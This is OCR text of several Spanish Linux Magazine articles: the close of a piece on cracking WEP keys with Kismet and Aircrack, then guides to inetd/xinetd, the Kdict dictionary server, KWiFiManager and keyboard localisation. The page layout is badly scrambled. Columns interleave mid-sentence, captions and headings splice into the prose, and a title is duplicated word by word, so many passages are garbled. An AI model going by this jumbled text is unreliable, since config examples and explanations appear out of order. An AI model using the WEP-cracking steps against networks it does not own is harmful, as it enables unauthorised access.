RECURSOS [1] Referencia del estándar IEEE 802.11 http://standards.ieee.org/getieee802/ download/802.11-1999.pdf [2] Hay un resumen espectacular en la Wikipedia http://en.wikipedia.org/wiki/ RC4 [3] Using the Fluhrer, Mantin and Shamir Attack to Break WEP [4] Weaknesses in the Key Scheduling Algorithm of RC4 [5] Extensión del ataque FMS de KoreK http://www.netstumbler.org/ showpost. php?p=89036&postcount=11 [6] Aircrack 2.1 http://www.cr0.net:8040/ code/network/aircrack/ [7] WepLab net/
http://weplab.sourceforge.
[8] Parche para Aircrack 2.1 http://www. wi-foo.com/soft/foo/aircrack_v210. patch [9] OpenVPN http://openvpn.net/ [10] FreeS/WAN org/
EL AUTOR
Formula 1: Probabilidad de que tres elementos determinados de S no se muevan a partir de la etapa de iteración A+3.
Para capturar los paquetes de la red usaremos Kismet, desde ahí podremos controlar en número de paquetes de datos total adquiridos. Estaremos atentos a llegar a unos 200.000 paquetes de datos antes de lanzar el análisis estadísticos de los vectores de inicialización IVs con aircrak:
http://www.freeswan.
Alberto Planas es desarrollador de aplicaciones bajo entornos libres desde hace varios años. Aficionado a la tecnología desde siempre, alterna sus horas de sueño con las horas dedicadas al estudios de las Redes Bayesianas, programación con las QT, perfeccionamiento de C++, desarrollo en Java y mil cosas más.
Demonios • ADMINISTRACIÓN
Administración de programas residentes con inetd y xinetd
ANGELES Y DEMONIOS Seguir la pista de todos los demonios [1] que están funcionando en un servidor, puede ser muy laborioso. Con la ayuda de inetd y xinetd se pueden gestionar estos servicios de manera centralizada y además se encargarán de realizar los intercambios entre las aplicaciones clientes, permitiendo que programas sin código de acceso a la red puedan funcionar como servidores de Internet. POR MARC ANDRÉ SELIG
L
as típicas aplicaciones de servidor manejan las comunicaciones de manera autónoma. Abren una conexión (socket) y escuchan en un puerto TCP, utilizando el puerto para enviar y recibir datos. La interacción con una conexión no es precisamente una ciencia exacta y escribir código para que un programa interactúe con una conexión puede ser algo problemático y propenso a errores. También puede ser bastante difícil seguir la pista a varias configuraciones. Las principales configuraciones de seguridad implicaran un montón de esfuerzo si cada programa servidor tiene su propio conjunto de archivos de configuración. Y por si fueran pocos motivos ¿Qué sentido tiene volver a reinventar la rueda, cada vez que se escribe código especifico de acceso a la red para cada aplicación?
Gestión Centralizada Los llamados super servidores inetd y xinetd proporcionan una alternativa simple a tener daemons con código de red propios. Los super servidores escuchan los puertos de la red traspasando las conexiones entrantes a los procesos correspondientes. Los procesos utilizan stdin y stdout para hablar con sus clientes. Como archivo de configuración, inetd utiliza una tabla de los puertos TCP y UDP que deben ser escuchados y los programas que están mapeados a estos puertos. Abrirá conexiones para los puertos de la tabla y esperará conexiones entrantes. El Listado 1 muestra una configuración de ejemplo. Los campos en cada línea del archivo de configuración describen el servicio. Los nombres simbólicos, como smtp,
también especifican el puerto requerido, ya que inetd busca el nombre en /etc/services. Se permite a los usuarios que añadan sus propios puertos al archivo de configuración, sin embargo, si añade un puerto, asegúrese de elegir un Figura 1: El super servidor de Internet inetd, descarga de las número entre 49152 y tareas de red a los procesos servidores. Los procesos pueden 65535, ya que esos puerutilizar stdin y stdout para comunicarse con los clientes. tos están reservados para aplicaciones privadas. otros argumentos. Dependiendo de la En IANA [2] se puede encontrar una lista implementación y la versión, el servidor completa de los números registrados para solamente aceptara un pequeño número los puertos UDP y TCP. de argumentos (normalmente 5 o 20); el El segundo campo en el archivo de super servidor ignorará el resto. configuración es el tipo de conexión (que Lo que no proporciona inetd es control será siempre stream para TCP y dgram de acceso o seguridad. Este es el dominio para UDP). El tercer campo corresponde de programas tales como el programa al protocolo (como tcp o udp). La opción envoltorio de TCP, tcpd, con los ananowait en la siguiente columna le indica lizadores /etc/host.allow y /etc/host.deny a inetd que no espere a que termine el para aplicar un control más detallado a proceso en ejecución. En otras palabras, un puerto especifico. el daemon simplemente lanzará otro proceso en el caso de que haya otra conexión Mejorando lo Presente: entrante. xinetd Por otro lado, wait le indica a inetd que espere a que termine el proceso en ejecuEl daemon xinetd [3] es una versión muy ción antes de aceptar otra conexión en mejorada del original inetd el cual da dicho puerto. Esto se utiliza normalsoporte para configuración modular y mente con las conexiones de datagramas, mecanismos tales como control de accetales como servidores UDP, ya que este sos y protección contra ataques de deneprotocolo no puede asignar datagramas gación de servicio. El Listado 2 muestra de sesión en la capa de transporte. Esto un ejemplo para el servidor de correo significa que inetd solo podrá manejar un Exim. solo proceso en un momento dado y que Hay dos tipos de archivos de configunecesitará pasar todos los datagramas de ración para xinetd: Uno, ese puerto en concreto al proceso actual. /etc/xinetd.conf/, que contiene las conLas ultimas tres líneas especifican los figuraciones globales y después cada serprivilegios con los cuales ejecutaran los vicio tiene su propio archivo de descripusuarios el servidor, la ruta al binario y ción. El nombre del fichero normalmente
WWW.LINUX-MAGAZINE.ES
Número 05
79
ADMINISTRACIÓN • Demonios
Listado 1: Archivo de configuración de inetd 01 # <service_name> <sock_type> <proto> <flags> <user> <server_path> <args> 02 03 smtp stream tcp nowait mail /usr/sbin/exim exim -bs 04 printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd 05 ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/proftpd
incluye el nombre del servicio y está almacenado en el directorio /etc/xinet.d/. Además de las opciones estándar, se puede configurar un cierto número de variables de seguridad y de optimización, tales como un lista de hosts, o direcciones IP, que están autorizados a acceder a un puerto. La capacidad para limitar a los recursos disponibles para los programas, o en el registro de accesos (log) elegir entre archivos de registro o el syslog, son otras características útiles. La configuración del Listado 3 permite un máximo de 10 instancias concurrentes por cada servidor. El daemon xinetd llama a los servidores con una prioridad baja (nice = 5) no iniciara ninguna proceso si la carga alcanza 2,5 (max_load = 2.5) y da soporte a un máximo de 50 conexiones por segundo, bloqueando el servicio durante 20 segundos si se excede este limite (cps = 50 20). La variable rlimit_as limita el porcentaje de memoria que se le permite ocupar a un programa y no_access = 24.0.0.0 bloquea las conexiones de la subred 24/8. Si el servidor solicitado no se puede lanzar por falta de los recursos necesarios o el ordenador solicitante tiene una dirección IP que ha sido bloqueada por el administrador, está configuración indica a xinetd que realice una búsqueda ident para descubrir el nombre del usuario y
Listado 2: /etc/xinetd.d/exim 01 02 03 04 05 06 07 08 09 10
80
service smtp { disable = no socket_type = stream wait = no user = mail server = /usr/sbin/exim server_args = -bs flags = REUSE }
Número 05
registrar este nombre junto con la dirección IP.
Un servidor propio Un programa servidor que utilice inetd o xinetd puede ser muy simple. Tiene que enviar y recibir datos utilizando una conexión TCP existente a través de la entrada y la salida estándar. Los datos del cliente se aceptan desde stdin y el servidor hablará al cliente vía stdout. Un ejemplo trivial de un servidor inetd solamente tiene dos líneas de código: #!/bin/sh echo Este soy yo y U yo me llamo `uname -n`.
Para permitir que este programa acceda a la red solo hay que añadir la siguiente línea en /etc/inetd.conf: sampleserver stream tcp U nowait mas U /usr/local/bin/sampleserver
En este caso sampleserver es el nombre simbólico del servicio. Una entrada para sampleserver 50000/tcp en /etc/services indica el puerto inetd. Después de configurar el archivo de configuración, es necesario que el super servidor tenga noticia de estos cambios. Para hacer esto, se teclea lo siguiente como root:
Listado 3: /etc/xinetd.conf 01 02 03 04 05 06 07 08 09 10 11
defaults { instances = 10 cps = 50 20 nice = 5 max_load = 2.5 rlimit_as = 32M no_access = 24.0.0.0 log_type = SYSLOG daemon log_on_failure = HOST USERID log_on_success = HOST PID EXIT DURATION 12 }
WWW.LINUX-MAGAZINE.ES
killall -HUP inetd
El servidor debe ahora ejecutarse como un servicio TCP. Se puede teclear telnet localhost 50000 para ver la siguiente salida (las primera tres líneas pertenecen al cliente telnet: Trying 127.0.0.1... Connected to anmen. Escape character is '^]'. Este soy yo y me llamo U anmen. Connection closed by foreign U host.
Trampas Tanto si se escribe un programa en C, Java, Perl o un guión de la shell hay que asegurarse de que se presta la necesaria atención al asunto de la seguridad. No se debe olvidar nunca que hay que validar cualquier entrada desde los clientes. También, en el espacio de trabajo Unix, una línea nueva es un simple \n, mientras que una línea nueva en Internet es una combinación de retorno de carro y línea nueva(\r\n). Así que deberá ser el mismo proceso servidor el que se encargue de gestionar estas cuestiones ya que ni inetd ni xinetd realizan conversión del juego de caracteres.
Sensato e insensato No tiene sentido usar el super servidor para lanzar un único demonio. Cada conexión a uno de estos servicios conlleva cierta sobrecarga, pues implica relanzar el programa. Esto no es un problema con los demonios que ocupan pocos recursos y que funcionan sólo de vez en cuando, pero servicios de más envergadura, tales como Apache o SSH tardan mucho en arrancar y esto hace imposible utilizarlos con eficacia con inetd. Como ventaja, ejecutar tantos servicios como sea posible a través del super servidor mantiene limpia la tabla de procesos y ahorra trabajo de configu■ ración.
RECURSOS [1] Definición de demonio: http://www.tf. hut.fi/cgi-bin/jargon?search=daemon [2] Listado de puertos en IANA: http:// www.iana.org/assignments/ port-numbers [3] xinetd: http://www.xinetd.org/
Bienvenidos a Linux User Ésta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos conocimientos y descubriremos apasionantes nuevas aplicaciones.
KTools: Kdict
82
No debemos preocuparnos si nuestra memoria nos falla. Todo lo que necesitamos es un lugar donde buscar respuestas. Si buscamos definiciones, explicaciones y vocabulario, Kdict, el diccionario de KDE, es la herramienta que necesitamos.
KWiFiManager
84
Conectarse a redes inalámbricas está más de moda que nunca. El gestor de KDE KwiFiManager es una útil herramienta para monitorizar y gestionar conexiones inalámbricas.
Educación
87
En el número anterior aprendíamos a localizar nuestra interfaz de usuario, y a instalar los tipos de letra que necesitamos.Este mes veremos como configurar nuestro teclado de manera que podamos representar caracteres de otros alfabetos.
Command Line: sort
91
sort le ayuda a organizar los listados de ficheros y la salida de los programas. Y si quiere, puede usar esta pequeña, pero potente herramienta para mezclar y clasificar múltiples ficheros.
WWW.LINUX- MAGAZINE.COM
ISSUE 52 MARCH 2005
81
LINUX USER • KTools: Kdict
A la búsqueda de respuestas con Kdict
DICCIONARIO DIGITAL No debemos preocuparnos si nuestra memoria nos falla. Todo lo que necesitamos es un lugar donde buscar respuestas. Si buscamos definiciones, www.sxc.hu
explicaciones y vocabulario, Kdict, el diccionario de KDE, es la herramienta que necesitamos. POR STEFANIE TEUFEL
¿
Nos confunden a veces misteriosos términos técnicos? Bueno, no nos preocupemos, para eso sirven los diccionarios. Y, si tenemos el programa Kdict, también tendremos una herramienta de traducción virtual que nos ayuda con términos complicados en cualquier lenguaje. La instalación no es complicada, puesto que la aplicación es parte del paquete kdenetwork desde hace tiempo. Los usuarios de Suse encontrarán el programa bajo el seudónimo kdenetwork3-query.
Kdict usa el protocolo DICT [1] para los servicios del diccionario. DICT busca en las bases de datos localizadas en servidores de Internet definiciones de las palabras claves que hemos introducido. Si estamos tras un cortafuegos, si no tenemos una conexión a Internet permanente o si un método de búsqueda basado en Internet es muy caro para nuestros gustos, podemos configurarlo con un servidor local en su lugar. Al margen del incremento de velocidad y la reducción de costes, un servidor local
Palabras, Palabras Algunos recursos útiles de diccionarios en Internet: • Webster: “Webster’s Revised Unabridged Dictionary, 1913 Edition” es un reconocido diccionario de lengua Inglesa con una buena función de búsqueda (que incluye comodines) que actualmente incluye más de 100,000 palabras. • Wordnet: El trabajo en WordNet comenzó en 1985 y aún continúa. El proyecto esta principalmente basado en el trabajo de psicólogos y lingüistas de la Universidad de Princeton. La estructura del diccionario no se basa en el orden alfabético, si no en teorías psicolingüísticas sobre la memoria humana. Por tanto, WordNet distinguirá entre la forma de la palabra y el significado de la palabra para
82
Número 05
cada término. Esto resuelve un gran número de sinónimos. WordNet no está restringido a ninguna materia específica y actualmente dispone de más de 95,600 términos Ingleses. Este diccionario ideológico es una herramienta muy útil cuando estamos buscando una forma diferente de expresar algo. • Jargon File: Eric Raymonds “The New Hacker’s Dictionary” (éste es el nombre oficial) es probablemente la más conocida referencia de terminología de Internet o de hacking. Define y explica términos de redes y ordenadores en muchas ocasiones de forma cómica. Para diccionarios en castellano, recomendamos visitar http://es.dict. org/. Para más diccionarios generales, busque en http://www.dict.org.
WWW.LINUX- MAGAZINE.ES
nos permite instalar bases de datos adicionales.
Instalación del Servidor Instalar el servidor involucra una serie de simple pasos. Primero descargamos el paquete con el demonio DICT dictd de [2]. La versión actual es la 1.9.7. los usuarios de Suse no tienen por que realizar este paso, puesto que el demonio está instalado por defecto. Los usuarios de otras distribuciones que no sean capaces de localizar un paquete RPM apropiado en [3] necesitarán descargar el código fuente y construir el demonio ellos mismos. Para hacerlo primero deben desempaquetar el código fuente y luego seguir los pasos habituales: ./configure, make y make install. Un servidor no tiene mucho sentido sin material de referencia, por lo que debemos buscar bases de datos de diccionarios antes de lanzar el programa. Encontraremos una larga selección de recursos, incluyendo Webster (dictweb1913), Wordnet (dictwn) y el archivo Jargon (dict-jargon) en el servidor FTP del proyecto DICT en [4]. Si esta selección no es suficiente podemos visitar [5] y [6] en busca de una colección de bases de datos preformateadas. Debemos ser precavidos con la lista de enlaces de dict.org [1]. Muchos de los registros están en formatos que dictd no entenderá.
KTools: Kdict • LINUX USER
Tras seleccionar algunos bases de datos deberemos desempaquetar los archivos en el directorio que elijamos (por ejemplo, /usr/local/db). Ahora configuramos el acceso local de DICT mediante el archivo dictd.conf. El comando access nos permite especificar quien tendrá acceso al servidor. Nuestra mejor opción es optar por algo como access {allow localhost deny *}. Esto restringe el acceso al equipo local. El comando base de datos especifica la localización del índice y de los registros de la base de datos:
conectores en el menú desplegable. También podemos montar grupos personalizados usando la opción del menú Server | Edit Database Sets ...
Cooperativo
Dos funciones que marcan la interacción sin fisuras entre programas KDE debería ayudar a que Kdict gane posiciones en la lista de nuestros programas favoritos. Si tropezamos con una palabra que desconocemos navegando por Internet, simplemente la marcaremos con nuestro ratón en Konqueror y le indicaremos a Kdict database web1913U que la busque seleccionando Edit | { data "/usr/local/db/U Match Clipboard Content. web1913.dict.dz" Figura 2: Kdict proporciona información detallada del Otra práctica función es la posiindex "/usr/local/db/U estado de nuestro servidor actual. bilidad de añadir Kdict al panel web1913.index" } como un applet del mismo. Pulsaremos el botón derecho sobre la barra Si accedemos a múltiples archivos Kicker y seleccionaremos Configure de bases de datos, deberemos añadir Panel...| Add | Applet | Dictionary una línea para cada base de datos. (Configurar Panel… | Añadir | Cuando completemos los ajustes Applet | Diccionario). Este applet podremos escribir el comando no ofrece un pequeño campo donde dictd& para lanzar nuestro propio introducir datos, donde podemos servidor de diccionarios. introducir una consulta directamente. El applet también dispone Kdict en Acción de tres botones adicionales: C busca Es hora de lanzar Kdict. La entrada Figura 3: Kdict muestra los resultados de la los contenidos actuales del portapadel menú para el programa está búsqueda en el panel de la izquierda. peles, D busca los contenidos escondida en Red Hat en Tools | actuales del campo de introducción Online dictionary (Kdict). Aunque, claro tion de la figura 2 nos ofrece información de datos, y M busca las definiciones está, la aplicación también puede ser sobre el servidor. No debemos olvidar apropiadas. lanzada escribiendo en la línea de seleccionar primero Server | Get CapabiliEl programa incluso dispone de un comandos kdict &. En ambos casos ties o no habrá disponible ninguna informodo de línea de comandos: kdict aparece la ventana de bienvenida que mación que ver. searchkey buscará el término que introvemos en la figura 1. Tras consultar los datos del servidor duzcamos. Si nuestra entrada incluye Antes de empezar a buscar las papodemos seleccionar Server | Strategy palabras múltiples las pondremos ente labras en Kdict puede que queramos Information para ver las estrategias de comillas. kdict -c o kdict --clipboard lanza repasar la configuración para determinar búsqueda disponibles. Podemos elegir una consulta de los contenidos actuales ■ el servidor en el que la herramienta prefix (supone que la cadena de búsqueda del portapapeles. realizará la consulta. Para hacerlo selecestá al principio de la entrada), regexp cionamos Settings | Configure Kdict... | (usa una expresión regular para la RECURSOS Server entry. Si preferimos mantener la búsqueda) o incluso soundex, que usa el variante online simplemente deberemos algoritmo SOUNDEX para buscar palabras [1] Grupo de Desarrollo de DICT: http:// dejar todo como está. El servidor preseque suenan de forma similar a las que www.dict.org/ leccionado es el servidor público estamos buscando. Kdict busca la entrada [2] Demonio DICT: ftp://ftp.dict.org/pub/ dict.org. en el campo Search y nos muestra una dict/ Si usamos un servidor local tendremos lista de resultados en el panel de la [3] Rpmfind.net: http://rpmfind.net/ que cambiar el valor de dict.org a localizquierda (figura 3). Podemos indicarle a [4] Diccionario del Proyecto DICT: ftp://ftp. host y pulsar Apply. Los otros ajustes en Kdict en que base de datos debe buscar dict.org/pub/dict/pre/ esta pestaña son solo de interés para en el menú desplegable cercano a la caja [5] Proyecto Dict Libre: http://www. usuarios online. Por ejemplo, podemos de búsqueda. freedict.de ajustar Timeout como el tiempo que Incluso podemos definir grupos de [6] Diccionarios diversos: http://www. Kdict debe esperar respuesta del servibases de datos disponibles. Estas bases wh9.tu-dresden.de/~heinrich/dict dor. La página Server | Server informade datos virtuales se muestran como Figura 1: Kdict parece bastante sobrio tras su primera ejecución.
WWW.LINUX- MAGAZINE.ES
Número 05
83
LINUX USER • Kwifi
Trabajando con redes inalámbricas con el gestor KWiFiManager
SIN CABLES Conectarse Conectarse aa redes redes inalámbricas inalámbricas está está más más de de moda moda que que nunca. nunca. El El gestor gestor de de KDE KDE KwiFiManager KwiFiManager es es una una útil útil herraherramienta mienta para para monitorizar monitorizar yy gestionar gestionar conexiones conexiones inalámbricas. inalámbricas. POR POR CHRIS CHRIS HOWELLS HOWELLS
L
as redes inalámbricas son una novedad de tremendo valor añadido del mundo informático moderno. La tecnología inalámbrica hace que la estructuración de una red sea fácil, pudiendo los usuarios conectarse desde un mayor número de sitios, por ejemplo cafeterías, estaciones de tren, librerías o aeropuertos. Si bien las redes inalámbricas son físicamente más fáciles de instalar, la parte del software de estas redes es normalmente más complicada que en las redes tradicionales. Por ejemplo, por cada conexión a una red inalámbrica debemos seleccionar el nombre correcto de red (comúnmente conocido como SSID, siglas de Identificador del conjunto de servicio) y especificar si deseamos usar encriptación. Si
84
Número 05
usamos la encriptación para la conexión deberemos especificar la llave WEP (Privacidad Equivalente a Cable) correcta. La utilidad de gestión de KDE KwiFiManager nos ayuda a gestionar estos y otros ajustes de redes inalámbricas, realizando también la monitorización de las conexiones.
Introducción a KwiFiManager El gestor KwiFiManager es parte de la distribución principal KDE, y como tal, si hemos instalado KDE en nuestro ordenador, es muy probable que KwiFiManager también estará instalado. Si aún no tenemos KwiFiManager usaremos la herramienta de gestión de paquetes de nuestra distribución para instalar el
WWW.LINUX- MAGAZINE.ES
paquete kdenetwork. Algunas distribuciones empaquetan KwiFiManager sólo y no como parte del paquete kdenetwork, en cuyo caso deberemos buscar un paquete con nombre similar a “kwifimanager.” Generalmente, KWiFiManager funcionará con cualquier adaptador de red inalámbrica tipo 802.11a, 802.11b o 802.11g para el que haya controlador Linux. Es frecuente que con distribuciones Linux modernas y tarjetas PCMCIA/USB 802.11b sólo se requiera enchufar el adaptador, encargándose Hotplug del resto. En otros casos será mejor consultar la documentación de la distribución, ayudándonos normalmente la herramienta de gestión de hardware de la distribución a configurar el controlador.
Kwifi • LINUX USER
Cuando arrancamos KwiFiManager por primera vez veremos una pantalla como la que aparece en la figura 1. La ventana principal nos ofrece el estado de la conexión inalámbrica activa. El botón Scan for Networks (Escanear buscando redes) inicia una búsqueda que determina si hay alguna red inalámbrica al alcance. El menú Settings (mostrado en la figura 1) nos lleva a los ajustes que nos ayudan a configurar y gestionar nuestras conexiones inalámbricas.
En Busca de la Conexión Perdida Con el fin de conectarnos a una red inalámbrica debemos conocer el SSID de la red y si WEP está en uso o no. Por ejemplo, en una oficina es prácticamente seguro que WEP estará habilitado, por lo que tendremos que preguntar al administrador de sistemas los detalles. En un lugar público como una estación de tren o un aeropuerto es muy posible que WEP no esté habilitado, por lo que deberemos escanear para encontrar redes disponibles para conocer el SSID, que variará en función de que compañía esté a cargo de la red inalámbrica. Escanear buscando todas la redes inalámbricas usando KwiFiManager es fácil. Simplemente cargamos KWiFiManager desde el menú KMenu o ejecutando kwifimanager. Pulsamos el botón Scan for Networks (Figura 1). Aparece una ventana mostrándonos todos los detalles de las redes cercanas. Si la señal inalámbrica es un poco débil la función Acoustic Scanning (en el menú Settings) nos puede ayudar a localizar una señal más fuerte. En el modo Acoustic Scanning, KWiFiManager emitirá un tono periódicamente. Cuanto más alto sea el tono más alta será la señal inalámbrica y, consecuentemente, más alta la probabilidad de la conexión a ésta. Por tanto, si hay problemas con la conexión y KWiFiMa-
Figura 1: La ventana principal de KWiFiManager.
Figura 2: El editor de configuración de KWiFiManager.
nager emite un tono bajo puede ser recomendable moverse un poco por la zona hasta que el tono aumente. Ahora que conocemos el nombre de la red inalámbrica podemos usar KWifiManger para conectarnos.
Conexión KWiFiManager nos permite predefinir configuraciones de redes. Esta función es muy útil si viajamos a lugares distintos, por ejemplo si cambiamos entre nuestra oficina, nuestra casa u otras redes. Para configurar una conexión cargaremos KWifiManger desde el menú KMenu y elegimos la opción Settings / Configuration Editor como aparece en la Figura 2. Tendremos que introducir la contraseña de root para poder continuar, puesto que el panel de control necesitará tener privilegios root para hacer cambios en la configuración del sistema. Uno de loa ajustes más importantes de esta página es el del nombre de la red, donde introduciremos el SSID. La mayoría de las conexiones inalámbricas están basadas alrededor de un punto de acceso y, en este caso, el modo Operation (Operación) debe establecerse como Managed. No obstante, si no hay punto de acceso y simplemente nos estamos conectando a otros equipos con tarjeta de red inalámbrica, el modo debe ser Ad-Hoc. Generalmente, la velocidad debe ser establecida en modo automático Auto. Éste modo implica que cuando la señal sea débil, la tarjeta inalámbrica bajará la velocidad de conexión automáticamente en un intento de facilitar las comunicaciones. Si la fuerza de la conexión se incrementa de nuevo, se incrementará la velocidad. No obstante, si se intenta
WWW.LINUX- MAGAZINE.ES
forzar una velocidad alta y la señal es baja, es posible que la tarjeta de red no sea capaz de transmitir ningún dato debido a errores de transmisión. En el mundo de las redes inalámbricas, DHCP (Dynamic Host Configuration Protocol.- Protocolo de Configuración de Anfitriones Dinámicos) se utiliza normalmente para configurar la interfaz de la red. Si esto ocurre en nuestra red podemos introducir /sbin/dhclient en el cuadro Execute script on connect (Ejecutar código al conectar). La interfaz de red se configurará automáticamente una vez se realice la conexión al punto de acceso. El ajuste Enable power management setting mostrado en la figura 2 puede ser muy útil en equipos portátiles. En caso de señal alta desde el punto de acceso, la cantidad de energía que la tarjeta de red inalámbrica consume se puede reducir, lo que ayuda a reducir el consumo de electricidad. Hay otros trucos que nos pueden ayudar a ahorrar energía. En lugar de estar siempre conectados, la radio de la tarjeta de red inalámbrica puede configurarse para que se apague periódicamente y durante un tiempo determinado. No obstante, esta opción tiene sus problemas: Si la radio se apaga, es imposible transmitir información y, por tanto, los tiempos de respuesta de los programas que usan la red pueden ser bajos, puesto que la
Encriptación de Redes Inalámbricas Las redes inalámbricas usan usualmente WEP para asegurarse de que los usuarios externos no puedan escuchar las comunicaciones inalámbricas secretas. WEP es particularmente importante si los datos están siendo transferidos en un protocolo no encriptado en sí mismo. En el pasado, WEP recibió mucha mala prensa y con razón. En parte, esta mala prensa se debió a que la primera generación de productos inalámbricos contenían una pobre implementación de WEP que permitía que se produjera un ataque bruta en contra de la llave de encriptación cuando un número suficiente de paquetes de datos habían sido estudiados. El riesgo es ahora más bajo, sin embargo se está empezando a implementar un nuevo estándar de encriptación llamado WPA (Wi-Fi Protected Access.- Acceso Wi-Fi Protegido).
Número 05
85
LINUX USER • Kwifi
radio debe ser encendida de nuevo. Esto Monitorización se nota especialmente en tareas como la navegación por la red o el uso de ssh. KDE proporciona unas pocas herraNo obstante, si la conexión inalámbrica mientas para monitorizar conexiones se usa solo para comprobar el correo, inalámbricas activas. La monitorización este ajuste puede ser muy de conexiones inalámbriútil para conservar cas es bastante imporenergía. tante, porque la intensiPodemos habilitar WEP dad de la conexión puede marcando la casilla Use variar incluso si la ubiencryption que aparece en cación del equipo no lo la Figura 2. Si marcamos hace. Los teléfonos la casilla y pulsamos el inalámbricos o incluso los botón Configure aparecerá microondas pueden el diálogo mostrado en la causar interferencias que Figura 3: La ventana de Figura 3. En el cuadro de pueden reducir la calidad configuración de WEP. diálogo Configure Encrypde la señal. KDE proportion introducimos la clave ciona un applet (Figura 4) de encriptación de 13 ó 26 caracteres que podemos añadir al panel para usada en la red. Algunas veces, los punmostrar la intensidad de la señal tos de acceso inalámbricos permiten el inalámbrica de un simple vistazo. Para uso de contraseñas en su lugar de llaves cargar el applet simplemente pulsarehexadecimales. Sin embargo, esto es mos con el botón derecho del ratón sólo una forma de esconder el código sobre el panel y seleccionaremos Add, hexadecimal, y el uso de este ajuste Applet, Wireless Network Information. puede dar problemas. Diferentes fabriSi esta opción no existe puede que tencantes usan diferentes métodos para gamos que instalar el paquete kdenetcalcular el código hexadecimal desde work, que debe ser parte de nuestra distexto y, por tanto, es posible que se use tribución Linux. la llave hexadecimal incorrecta. Si teDesafortunadamente, dependiendo nemos problemas conecdel controlador que usetándonos al punto de mos para la tarjeta acceso, es una buena idea inalámbrica, es posible introducir explícitamente que parte de la informala cadena hexadecimal ción de la red no esté tanto en el punto de disponible. En este caso, acceso como en KWiFialgunos de los campos del Manager. diálogo de información El editor de configupueden estar vacíos. ración (ver Figura 2) tamKWiFiManager también bién nos permite ajustar puede ofrecer funcionaliconfiguraciones adidades similares. KWifiFigura 4: El applet de concionales de la red. ElegireManger añade un icono a figuración de la red inalámmos una pestaña diferente la bandeja del sistema brica.
86
Número 05
WWW.LINUX- MAGAZINE.ES
con una cómoda barra que marca la intensidad de la señal y un indicador numérico también sobre la intensidad de la señal. Pulsando sobre el icono de la bandeja ocultará la ventana principal para que ésta no interfiera con el trabajo normal. Si pulsamos de nuevo sobre la ventana del sistema, aparecerá la ventana de nuevo. Algunos usuarios emprendedores de KDE han escritos sus propias aplicaciones de redes inalámbricas. Estas aplicaciones no son parte de KDE, pero pueden encontrarse en la página web http://www.kde-look.org. Encontraremos KWirelessMonitor en http://www.kde-apps.org/content/show. php?content=11576. Instalaremos un binario adecuado o compilaremos el código de la siguiente forma (suponiendo que los archivos de desarrollo ya estén instalados): tar xvjf <kwirelessmonitor 0.5.4.tar.bz2 cd kwirelessmonitor-0.5.4 ./ configure make && sudo make install
Podemos iniciar KWirelessMonitor ejecutando kwirelessmonitor. Pulsaremos con el botón derecho sobre el icono de la bandeja del sistema para aplicar los cambios de la configuración al interfaz de la red (figura5). Otro bonito programa es Kifi, el que encontraremos en http://www.kdeapps. org/content/show.php?content=13858. Kifi muestra información respecto a las redes disponibles. Podemos descarga el código fuente y compilarlo con: tar xvjf kifi-0.2.4.tar.bz2 cd kifi-0.2.4 ./configure make && sudo make install
Tras compilar Kifi lo iniciaremos ejecutando kifi. Kifi cargará un icono en la ■ bandeja del sistema.
EL AUTOR
Figura 5: El diálogo de configuración de KwirelessMonitor.
e introduciremos los ajustes según se describen en esta sección. Usualmente es mejor cargar los ajustes cuando KDE esté iniciado para que la conexión inalámbrica esté disponible tan pronto se inicie el sistema. Para hacer esto seleccionaremos Load preset configuration on startup y luego seleccionaremos una configuración inalámbrica. Si cambiamos nuestra localización y deseamos conectarnos a una red inalámbrica distinta elegiremos una opción diferente en la caja Configuration to load y presionaremos Activate para conectarse a esa red en su lugar.
Chris Howells estudia física y ciencias informáticas en la Universidad de Liverpool, Reino Unido. Cuando no estudia, mantiene los salva pantallas de KDE y trabaja en otras áreas. Podemos contactar con él en la dirección howells@kde.org.
Educación • LINUX USER
Elogio de la diversidad lingüística
UN TECLADO DE 60.000 TECLAS
En el número anterior aprendíamos a localizar nuestra interfaz de usuario, y a instalar los tipos de letra que necesitamos. Hemos instalado un tipo unicode y elegido un locale UTF-8, recordemos que argumentábamos que el uso predominante de iso-8859-1 es un signo de dominación de Occidente. POR JUAN RAFAEL FERNÁNDEZ
I
ncluso la distinción entre mayúsculas y minúsculas, que nos parece tan natural, es un fenómeno infrecuente entre las escrituras del mundo: leo en Nick Nicholas, http://ptolemy.tlg. uci.edu/~opoudjis/unicode/ unicode_gkbkgd.html, que habiendo el georgiano moderno abandonado hace ya mucho su uso medieval de la distinción, hoy día está limitada al griego, latín, armenio y cirílico. Prometíamos entrar de lleno en la cuestión más ardua: cómo conseguir con las tres filas de teclas de nuestro teclado introducir los miles de caracteres necesarios para escribir los distintos lenguajes. Ha llegado el momento de responder a esta pregunta. Creo haber escrito ya suficientes veces que la historia del software libre explica que las soluciones a casi todos los problemas sean diversas. No pretenderé en este artículo ser exhaustivo, ni aburrido, recordemos la vocación práctica de la que nace esta sección.
Como a los problemas casi se les puede poner cara y circunstancia (el profesor de griego clásico, el tutor de alumnas chinas, el traductor del ruso) las respuestas irán de lo particular a lo general. Puesto que ningún teclado contiene los miles de caracteres necesarios para escribir los miles de idiomas del mundo, es necesario alguna forma de «mapear» los diferentes alfabetos en nuestro teclado. Como decía el poema, diversas son las soluciones como diversos los hombres. O algo así.
Thessalonika para OpenOffice, o el espíritu clónico Mi amigo el profesor de griego sólo quería unas macros para poder escribir griego politónico (con acentos, espíritus, iota suscrita…) en su OpenOffice, porque echaba de menos las que utilizaba en Word. Como el alfabeto griego contemporáneo es monotónico (hay
WWW.LINUX- MAGAZINE.ES
guerras de religión sobre el tema pero aquí se nos permitirá la simplificación) no basta elegir un teclado griego, hay que poder introducir el resto de los signos y combinarlos. ¿Se puede? Pues sí, la solución se llama Thessalonika, la podemos descargar libremente de http:// www.thessalonica.org.ru/en y la ha creado Alexej Kryukov. Antes de entusiasmarnos debemos decir que Thessalonika está escrito en java, lo cual no es pecado en sí mismo pero hace que no funcione en las distribuciones como Debian y derivadas que únicamente utilizan software radicalmente libre. Si necesitamos y queremos usar Thessalonika deberemos descargar una versión de OpenOffice de http://www. openoffice.org e instalarla por nuestra cuenta; también nos hará falta el ejecutor de aplicaciones java jre. La documentación de Thessalonika está traducida al castellano y la instalación es trivial, poner el archivo en el subdirectorio adecuado y regenerar la cache de añadidos.
